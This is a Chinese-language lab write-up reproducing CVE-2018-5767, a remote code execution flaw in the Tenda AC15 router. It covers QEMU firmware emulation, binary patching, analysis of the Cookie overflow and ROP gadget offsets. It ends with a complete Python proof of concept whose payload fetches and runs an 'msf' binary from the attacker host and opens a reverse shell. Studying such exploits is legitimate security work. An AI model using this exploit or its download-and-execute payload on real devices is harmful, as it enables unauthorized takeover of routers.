文章目录
1.漏洞描述
2.环境搭建
3.漏洞复现
4.漏洞分析
4.1:代码分析
4.2:流量分析
5.poc代码:
1.漏洞描述
漏洞编号:CVE-2018-5767
漏洞名称:Tenda AC15 远程代码执行漏洞(CVE-2018-5767)
威胁等级:严重
漏洞详情:Tenda AC15 V15.03.1.16_multi设备上发现问题。未经身份验证的远程攻击者可以通过为COOKIE标头精心编制的密码参数在设备上远程执行代码。
影响范围:AC15 V15.03.1.16_multi
2.环境搭建
qemu-sys模拟debian-armhf系统:
1.移动文件:mv.sh
#!/bin/bash
# 复制 squashfs-root 目录并压缩
cp -r _*/squashfs-root /root/ && tar czf /root/squashfs-root.tar.gz -C /root squashfs-root && rm -rf /root/squashfs-root
2.使用 expect 脚本自动化 QEMU 启动和配置:run.sh
#!/bin/bash
# 启动 ssh 服务
#systemctl start ssh
# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24
ifconfig tap0 up
# 启动 http 服务
nohup python3 -m http.server 8000 1>/dev/null &
# 进入 qemu 镜像目录
cd debain
# 使用 expect 脚本自动化 QEMU 启动和配置
/usr/bin/expect <<EOF
set timeout 10000
spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"
expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"
expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "root\r" }
}
expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"
expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"
expect eof
EOF
3.漏洞复现
在/home/CVE-2018-5767目录下,用qemu-sys模式模拟,把固件模拟运行起来。
1.首先在CVE-2018-5767同级目录下,binwalk -eM 解压文件。
2.然后对binwalk解包后的固件中的任何二进制文件执行 file 命令,查看下设备的cpu 架构。
命令:file ./bin/httpd
我们可知Tenda AC15路由器的httpd是基于ARM架构的 32 位小端序可执行文件
3.创建diban目录,下载模拟qemu-system需要的阉割debian(debian-armhf)系统:
https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpres
4.给httpd文件可执行权限,命令:chmod +x httpd
5.复制squashfs-root目录下的webroot_ro文件到webroot中
命令:
rm -rf webroot
ln -s webroot_ro/ webroot
6.执行模拟命令
./mv.sh
./run.sh
但是卡在这里了,在IDA里面看一下httpd,搜索 welcome,发现是因为有一个check_network检查。
定向分析可知Loc_2CF84是计算一个值并将其作为参数传递给 check_network 函数,然后比较该函数的返回值,如果返回值为0,则跳转到左侧,如果返回值为1,则跳转到右侧loc_2CFA8。
很显然,此处的返回值为0,所以我们要手动将返回值改为1,跳转到loc_2CFA8。
方法是:首先进入https://disasm.proc查看汇编码对应的十六进制代码:
\ x01\x30\xa0\xe3即为MOV R3,#1
printf '\x01\x30\xa0\xe3' dd of=/bin/httpd bs=1 count=4 conv=notrunc seek=偏移量,dd 命令将 printf 的输出01 30 a0 e3写入 /bin/httpd 文件。
即指定修改我们虚拟机的httpd文件的path为MOV R3,#1。
而偏移量seek,可以在ida中查看。
由此可知基地址为:0x00008000
seek =地址-基地址
修改MOV R3,R0为MOV R3,#1
第一处:0x2CF90
改为:
第二处:0x2CFB4
改为:
进制转换:
可创建pach 目录,将其写入脚本:pach.sh
并将其移动到root根目录,打包上传到qemu-sys模拟的diban-armh系统
scp -r root@192.168.2.1:/root/tools /root/squashfs-root/
chmod +x tools/patch.sh && /bin/sh tools/patch.sh
修改后的mv.sh
#!/bin/bash
# 复制 squashfs-root 目录并压缩
cp -r _*/squashfs-root /root/ && tar czf /root/squashfs-root.tar.gz -C /root squashfs-root && rm -rf /root/squashfs-root
# pach 目录
cp -r pach /root/
修改后的run.sh
#!/bin/bash
# 启动 ssh 服务
#systemctl start ssh
# 配置网卡
tunctl -t tap0
ifconfig tap0 192.168.2.1/24
ifconfig tap0 up
# 启动 http 服务
nohup python3 -m http.server 8000 1>/dev/null &
# 进入 qemu 镜像目录
cd debain
# 使用 expect 脚本自动化 QEMU 启动和配置
/usr/bin/expect <<EOF
set timeout 10000
spawn qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
expect "debian-armhf login:"
send "root\r"
expect "Password:"
send "root\r"
expect "root@debian-armhf:~# "
send "ifconfig eth0 192.168.2.2/24\r"
expect "root@debian-armhf:~# "
send "scp root@192.168.2.1:/root/squashfs-root.tar.gz /root/squashfs-root.tar.gz\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "root\r" }
}
expect "root@debian-armhf:~# "
send "tar xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz\r"
expect "root@debian-armhf:~# "
send "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc\r"
expect "root@debian-armhf:~# "
send "scp -r root@192.168.2.1:/root/pach /root/squashfs-root/pach\r"
expect {
"(yes/no)? " { send "yes\r"; exp_continue }
"password: " { send "root\r" }
}
expect "root@debian-armhf:~# "
send "chroot squashfs-root/ sh\r"
expect "# "
send "chmod +x pach/pach.sh && /bin/sh pach/pach.sh\r"
expect "# "
send "brctl addbr br0 && ifconfig br0 192.168.2.2/24 up\r"
expect "# "
send "/bin/httpd 1>/dev/null 2>&1 &\r"
expect "# "
send "sleep 1 && chmod +x tools/getlibc.sh && /bin/sh tools/getlibc.sh\r"
expect eof
EOF
重新运行:
./mv.sh
./run.sh
登录后获得如下界面:
7.在qemu-system模拟的debian-armhf系统中抓取libc_base
libc_base为执行run.sh后的最后一条命令获取的十六进制编码)
注:libc_base的地址每次都会变。
本次模拟的libc_base为0x76d61000
8.修改poc的基地址
(poc为CVE-2018-5767_Tenda AC15目录下的CVE-2018-16333.py脚本)
$vim.tiny CVE-2018-5767.py
修改:libc_base的地址:
9.执行poc
下载busybox:
https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/busybox/1.31.0/busybox-arm
下载gdbsever:
https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/gdbserver/7.11.1/arm-gdbserver
下载msf:
https://github.com/Vu1nT0tal/IoT-vulhub/blob/master/baseImage/msf/msf-arm
注:要保证放置三个可执行文件的路径与放置run.sh时的路径相同。
后执行poc使得宿主机:ubuntu 16.04(ip:192.168.2.1)获得了虚拟机:qemu-system模拟的debian-armhf系统(ip:192.168.2.2)的shell
4.漏洞分析
4.1:代码分析
使用 binwalk -e 解包固件,获得文件以备后续分析:
根据漏洞通告R7WebsSecurityHandler函数请求会触发漏洞,查找可执行文件httpd。
可知httpd位于:
解压后的固件/squashfs-root/bin/httpd
在ida中查找函数:R7WebsSecurityHandler
这段代码的目的是从HTTP请求头中提取密码参数,并将其存储在v36缓冲区中。
但是"%*[^=]=%[^;];*"没有限制v36缓冲区可以接收的最大字符数。
如果输入的Cookie长度超过了预期,会覆盖栈上的其他变量,导致缓冲区溢出。
接下来我们利用典型的ROP攻击流程利用漏洞点:
1.劫持程序的控制流-填充字节:
输入中添加足够的填充字节,以便将返回地址(Return Address)覆盖为指向第一个gadget的地址(gadget1)
payload = b'A'*(444)+执行命令。
但是我们在溢出点后观察函数,可发现两个条件:
#条件一:[路径]
输入的URL要保证if语句不会为false,URL必须以"/goform/"开头,后跟任意字符串,除了下述禁止的路径。
http://xxxx/goform/execCommand就可以。
#条件二:[.gif]
这段代码的目的是定位字符串s中"."字符的位置。
使用memcmp函数检查"."后的字符串是否为特定的文件扩展名,如"gif"、"png"、"js"、"css"、"jpg"或"jpeg"。
如果"."后的字符串不是这些扩展名之一,例如,当存在".gif"时,memcmp(v44, "png", 3u)将返回非零值,表示不匹配,这样就不会触发重定向,从而可能维持了一个缓冲区溢出的状态。
所以我们的palod还必须加上'.gif',或其它特定的文件扩展名。
故:
Url:http://xxxx/goform/execCommand
Pyload: b'A'*(444)+ b'.gif'+执行命令。
2.操作寄存器和控制流:
Gadget1通常是一个指令序列,它将system函数的地址(system_addr)弹出到寄存器R3。这样,R3就被设置为指向system函数的地址,gadget1将gadget2的地址弹出到程序计数器(PC),即R15,使得控制流转移到gadget2。
Gadget2将栈顶的命令参数(cmd)弹出到寄存器R0。这样,R0就被设置为指向我们提供的命令字符串的地址。
首先通过libc_base的地址计算system函数的地址:
#libc_base.so[libc_base]
$cat /proc/`ps -ef | grep -v grep | grep httpd | awk '{print $1}'`/maps | grep '/lib/libc.so'
注:libc_base会变
#system[system]
readelf -s squashfs-root/lib/libc.so.0 | grep system
system_offset=0x5a270
system= libc_base+0x5a270
#gadget2[mov_r0_ret_r3]
路径:/root
命令:ROPgadget --binary squashfs-root/lib/libc.so.0 | grep "mov r0, sp"
mov_r0_ret_r3 = libc_base + 0x40cb8
这里的mov r0, sp指令将堆栈指针(sp)的值移动到寄存器r0,而blx r3指令则跳转到寄存器r3指向的地址执行代码。
#gadget1[pop_r3]
路径:/root
ROPgadget --binary squashfs-root/lib/libc.so.0 --only "pop"| grep r3
pop_r3 = libc_base + 0x18298
该指令会将栈顶的值弹出到r3寄存器,并将下一个字弹出到程序计数器(pc),从而可以改变程序的执行流程。
综上可得ROP攻击流程使得缓冲区溢出条件为
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + 命令
4.2:流量分析
5.poc代码:
ubuntu16.04 ip:192.168.2.1 (虚拟网桥 br0)
qemu:debian-armhf ip:192.168.2.2(虚拟网桥 tap0)
#!/usr/bin/python3
import requests
from pwn import *
from threading import Thread
cmd = b'wget http://192.168.2.1:8000/tools/msf -O /msf '
cmd += b'&& chmod 777 /msf '
cmd += b'&& /msf'
assert(len(cmd) < 255)
libc_base = 0x76df3000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'A'*(444) + b'.gif' + p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.2.2:80/goform/execCommand"
cookie = {"Cookie": 'password='+payload.decode('latin1')}
def attack():
try:
requests.get(url, cookies=cookie)
except Exception as e:
print(e)
thread = Thread(target=attack)
thread.start()
io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()
thread.join()
参考文章:IoT-vulhub/Tenda/CVE-2020-10987 at master · Vu1nT0tal/IoT-vulhub · GitHub